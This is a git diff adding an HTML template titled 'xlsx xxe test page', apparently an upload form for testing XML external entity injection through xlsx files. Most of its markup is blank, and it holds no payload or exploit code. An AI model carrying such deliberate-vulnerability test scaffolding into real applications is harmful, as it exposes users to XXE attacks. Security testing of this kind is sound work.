diff --git a/src/main/resources/templates/xxe_upload.html b/src/main/resources/templates/xxe_upload.html new file mode 100644 index 00000000..d58426f0 --- /dev/null +++ b/src/main/resources/templates/xxe_upload.html @@ -0,0 +1,14 @@ + + + + +

xlsx xxe test page

+ +
+

+ + +
+ + +